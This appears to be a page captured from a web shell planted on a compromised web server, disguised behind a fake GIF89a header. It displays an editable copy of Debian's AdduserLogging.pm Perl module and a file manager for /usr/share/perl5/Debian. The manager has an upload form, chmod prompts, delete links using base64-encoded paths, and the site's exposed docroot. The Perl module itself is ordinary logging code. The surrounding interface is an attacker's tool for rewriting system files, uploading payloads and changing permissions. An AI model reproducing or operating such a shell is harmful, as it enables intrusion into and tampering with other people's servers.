GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>AdduserLogging.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4%3D&f=QWRkdXNlckxvZ2dpbmcucG0%3D"><input name="f" value="AdduserLogging.pm"><textarea name="t">package Debian::AdduserLogging 3.136;
use 5.32.0;
use strict;
use warnings;

# Adduser logging Subroutines
#
# Subroutines shared by the &quot;adduser&quot; and &quot;deluser&quot; utilities.
#
# Copyright (C) 2023 Marc Haber &lt;mh+debian-packages@zugschlus.de&gt;
#
# License: GPL-2+

use parent qw(Exporter);

use vars qw(@EXPORT $VAR1);

sub progname {
    (my $blubb = $0) =~ s|(.*/)?(.*)|$2|;
    return ($blubb);
}

BEGIN {
    local $ENV{PERL_DL_NONLAZY}=1;
    # we need to use eval expression form here, perl cookbook 12.2.3
    eval &quot; use Locale::gettext; &quot;; ## no critic
    if ($@) {
        *gettext = sub { shift };
        *textdomain = sub { &quot;&quot; };
        *LC_MESSAGES = sub { 5 };
    } else {
        textdomain(progname());
    }
}


@EXPORT = (
    'gtx',
    'mtx',
    'log_trace',
    'log_debug',
    'log_info',
    'log_warn',
    'log_err',
    'log_fatal',
    'set_msglevel'
);

my $stderrmsglevel=&quot;error&quot;;
my $stdoutmsglevel=&quot;error&quot;;
my $syslogmsglevel=&quot;info&quot;;;
my $loggerparms=&quot;&quot;;
my $logtrace=$ENV{&quot;ADDUSER_LOGTRACE&quot;};

sub gtx {
    return gettext( shift );
}

# this is used as a marker for a string that should be translated
# it returns the untranslated string
# use this for a message that is passed to messagef
sub mtx {
    return shift;
}

sub numeric_msglevel {
    my ($msglevel) = @_;
    # error values from Log4perl::Level
    my %map = (
        logtrace =&gt; 1000,
        trace =&gt; 5000,
        debug =&gt; 10000,
        info =&gt; 20000,
        warn =&gt; 30000,
        err =&gt; 40000,
        error =&gt; 40000,
        fatal =&gt; 50000
    );
    logtrace( sprintf( 'numeric_msglevel(&quot;%s&quot;) called', $msglevel ) );
    if( defined($map{$msglevel}) ) {
        my $ret = $map{$msglevel};
        logtrace( sprintf( 'numeric_msglevel(&quot;%s&quot;) returns %s', $msglevel, $ret ) );
        return $ret;
    } else {
        # this should be croak(), but we'd need perl-modules for that
        die(&quot;undefined msglevel: $msglevel handed to numeric_msglevel&quot;);
    }
};

sub syslog_msglevel {
    my ($msglevel) = @_;
    my %map = (
        logtrace =&gt; &quot;debug&quot;,
        trace =&gt; &quot;debug&quot;,
        debug =&gt; &quot;debug&quot;,
        info =&gt; &quot;info&quot;,
        warn =&gt; &quot;warning&quot;,
        err =&gt; &quot;error&quot;,
        error =&gt; &quot;error&quot;,
        fatal =&gt; &quot;crit&quot;
    );
    if( defined($map{$msglevel}) ) {
        return $map{$msglevel};
    } else {
        # this shuld be croak(), but we'd need perl-modules for that
        die(&quot;undefined msglevel: $msglevel handed to syslog_msglevel&quot;);
    }
};

sub log_to_syslog {
    # use a pipe or system to logger, which is in bsdutils and thus essential
    # use --id=adduser[pid]
    # make logger parameters configurable (--udp, --journald, for example)
    my ($prio, $data) = @_;
    my $facility = 'user';
    # $$ would be $PID of we had English.pm
    my @command= (&quot;logger&quot;,
        &quot;--id=&quot;. $$,
        &quot;--tag=&quot;. progname(),
        &quot;--priority=&quot;. $facility.&quot;.&quot;.$prio,
        $loggerparms, &quot;--&quot;,
        $data);
    system(@command) == 0
        or printf STDERR ( gtx(&quot;logging to syslog failed: command line %s returned error: %s\n&quot;), join(' ', @command), $?);
}

sub logtrace {
    my (@data ) = @_;

    my $outstring = sprintf(shift(@data),@data);
    if ($logtrace) {
        printf STDOUT ( &quot;logtrace: %s\n&quot;, $outstring );
        log_to_syslog( &quot;debug&quot;, &quot;logtrace: &quot;. $outstring. &quot;\n&quot; );
    } else {
        if ( $stderrmsglevel eq &quot;logtrace&quot; ) {
            printf STDERR ( &quot;logtrace: &quot;. $outstring. &quot;\n&quot; );
        } elsif ( $stdoutmsglevel eq &quot;logtrace&quot; ) {
            printf STDOUT ( &quot;logtrace: &quot;. $outstring. &quot;\n&quot; );
        }
        if ( $syslogmsglevel eq &quot;logtrace&quot; ) {
            log_to_syslog( &quot;debug&quot;, &quot;logtrace: &quot;. $outstring );
        }
    }
}

sub logf {
    my ($msglevel, @data ) = @_;
    my $outstring;
    my $loutstring;
    if ( scalar(@data) == 1 ) {
        logtrace(&quot;single element data&quot;);
        $outstring = join(&quot; &quot;, @data);
        $loutstring = gettext($outstring);
    } else {
        my $fmt=shift(@data),
        my @dta= map( $_ // &quot;(undef)&quot;, @data );
        logtrace(&quot;multiple element data: format %s, data %s&quot;, $fmt, join(&quot;-&quot;, @dta));
        $outstring = sprintf( $fmt, @dta );
        $loutstring = sprintf( gettext($fmt), @dta );
    }
    logtrace(&quot;outstring %s&quot;, $outstring);
    logtrace(&quot;loutstring %s&quot;, $loutstring);
    if ( numeric_msglevel($msglevel) &gt;= numeric_msglevel($stderrmsglevel) ) {
        printf STDERR ( &quot;%s: %s\n&quot;, $msglevel, $loutstring );
    } elsif ( numeric_msglevel($msglevel) &gt;= numeric_msglevel($stdoutmsglevel) ) {
        printf STDOUT ( &quot;%s: %s\n&quot;, $msglevel, $loutstring );
    }
    if ( numeric_msglevel($msglevel) &gt;= numeric_msglevel($syslogmsglevel) ) {
        log_to_syslog( syslog_msglevel($msglevel), $outstring );
    }
};

sub log_trace {
    my (@data) = @_;
    logf( &quot;trace&quot;, @data);
}

sub log_debug {
    my (@data) = @_;
    logf( &quot;debug&quot;, @data);
}

sub log_info {
    my (@data) = @_;
    logf( &quot;info&quot;, @data );
}

sub log_warn {
    my (@data) = @_;
    logf( &quot;warn&quot;, @data );
}

sub log_err {
    my (@data) = @_;
    logf( &quot;err&quot;, @data );
}

sub log_fatal {
    my (@data) = @_;
    logf( &quot;fatal&quot;, @data );
}

sub set_msglevel {
    ($stderrmsglevel, $stdoutmsglevel, $syslogmsglevel) = @_;
}

sub set_loggerparms {
    ($loggerparms) = @_;
}

1;

# Local Variables:
# mode:cperl
# End:

# vim: tabstop=4 shiftwidth=4 expandtab
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/Debian<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&x=QWRkdXNlckNvbW1vbi5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=QWRkdXNlckNvbW1vbi5wbQ=="/>AdduserCommon.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=QWRkdXNlckNvbW1vbi5wbQ==&c=`+btoa(c):0" value="0644"></td><td>11248</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&x=QWRkdXNlckxvZ2dpbmcucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=QWRkdXNlckxvZ2dpbmcucG0="/>AdduserLogging.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=QWRkdXNlckxvZ2dpbmcucG0=&c=`+btoa(c):0" value="0644"></td><td>5369</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&x=QWRkdXNlclJldHZhbHVlcy5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=QWRkdXNlclJldHZhbHVlcy5wbQ=="/>AdduserRetvalues.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=QWRkdXNlclJldHZhbHVlcy5wbQ==&c=`+btoa(c):0" value="0644"></td><td>2987</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4vRGViQ29uZg=="/>DebConf</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=RGViQ29uZg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4vRGViaGVscGVy"/>Debhelper</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJpYW4=&f=RGViaGVscGVy&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>